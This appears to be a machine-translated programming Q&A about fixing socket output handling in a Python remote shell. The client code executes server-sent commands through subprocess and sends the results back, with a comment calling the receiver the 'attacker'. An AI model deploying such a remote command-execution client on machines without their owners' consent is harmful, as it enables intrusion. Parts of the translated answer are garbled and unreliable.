Python 试图创建远程shell时,程序未按需要打印命令输出

Python 试图创建远程shell时,程序未按需要打印命令输出,python,windows,shell,sockets,remote-access,Python,Windows,Shell,Sockets,Remote Access,我试图用python创建一个远程shell,让服务器向客户端发送命令,并在远程机器上执行。问题是,尽管客户端从我的理解中发回了输出,但服务器没有正确地接收和打印输出。它一直在工作,直到我更改代码以接收所有数据,而不仅仅是一个数据块。如何接收所有数据并正确打印 服务器代码: while True: try: command = input(client_ip+ ">") if(len(command.split()) != 0):

我试图用python创建一个远程shell,让服务器向客户端发送命令,并在远程机器上执行。问题是,尽管客户端从我的理解中发回了输出,但服务器没有正确地接收和打印输出。它一直在工作,直到我更改代码以接收所有数据,而不仅仅是一个数据块。如何接收所有数据并正确打印

服务器代码:

while True:
    try:
        command = input(client_ip+ ">")
        if(len(command.split()) != 0):
            client_socket.send(command.encode('utf-8'))
        else:
            continue
    except(EOFError):
            print("Invalid input, type 'help' to get a list of implemented commands.\n")
            continue

    if(command == "quit"):
        break
    total_data = []
    while True:
        data = client_socket.recv(8192)
        if not data: break
        total_data.append(data)
    print(total_data + '\n')
    # try:
    #     output = ''
    #     data = ''
    #     while True:
    #         data += client_socket.recv(1024).decode('utf-8')
    #         if not data:
    #             break
    #         else:
    #             output += data
    # except Exception:
    #     if output:
    #         pass
    #     else:
    #         print("failed")
    # print(data + "\n")
客户端代码:

while True:

    command = connexion_socket.recv(1024).decode('utf-8')
    split_command = command.split()
    print("Received command : " +command)

    # if its quit, then break out and close socket
    if command == "quit":
        break

    if(command.split()[0] == "cd"):
            if len(command.split()) == 1:
                connexion_socket.send((os.getcwd().encode('utf-8')))
            elif len(command.split()) == 2:
                try:
                    os.chdir(command.split()[1])
                    connexion_socket.send(("Changed directory to " + os.getcwd()).encode('utf-8'))
                except(WindowsError):
                    connexion_socket.send(str.encode("No such directory : " +os.getcwd()))

    else:
        # do shell command
        proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        # read output
        stdout_value = (proc.stdout.read() + proc.stderr.read()).decode('utf-8')
        print(stdout_value + "\n")
        # send output to attacker
        if(stdout_value != ""):
            connexion_socket.send(stdout_value.encode('utf-8'))
        else:
            connexion_socket.send((command+ " does not return anything").encode('utf-8'))

如果需要更多信息,请询问:

您似乎正在使用流套接字。在这种情况下,问题是如果client.py未关闭连接,则无法测试读取的EOF零长度数据是否中断接收循环。您的server.py读取输入,但随后返回以从套接字接收更多数据,并只等待更多的数据不来

在client.py中,您可以通过一个新连接启动循环,然后通过它结束循环注意:由accept返回的套接字将被关闭,而不是其accept方法被调用的侦听套接字。在server.py中,您可以通过设置和关闭连接resp来启动和结束循环。给你的对手。在这种情况下,如果没有数据:break可以很好地使用

另一个选择是。您可以在协议/应用程序级别处理此问题。您可以通过发送要跟踪和接收的数据长度来开始传输,直到获得已知的数据量,或者选择一个消息分隔符,例如,b'\0',您也可以在每个完整的输出块之后发送该分隔符。然后可以逐个接收数据,直到到达下一个分隔符。在这种情况下,您可以保持现有连接处于活动状态,并将其重新用于来回通信。即,在接收循环中检查:if data==b'\0':中断,并在client.py循环中的每条消息之后发送conn.sendb'\0'


不相关的旁注:WindowsError应该是OSError的一个子类,您可能真的很想捕获它以使代码可移植。

谢谢您的回答,我回家后会再试一次。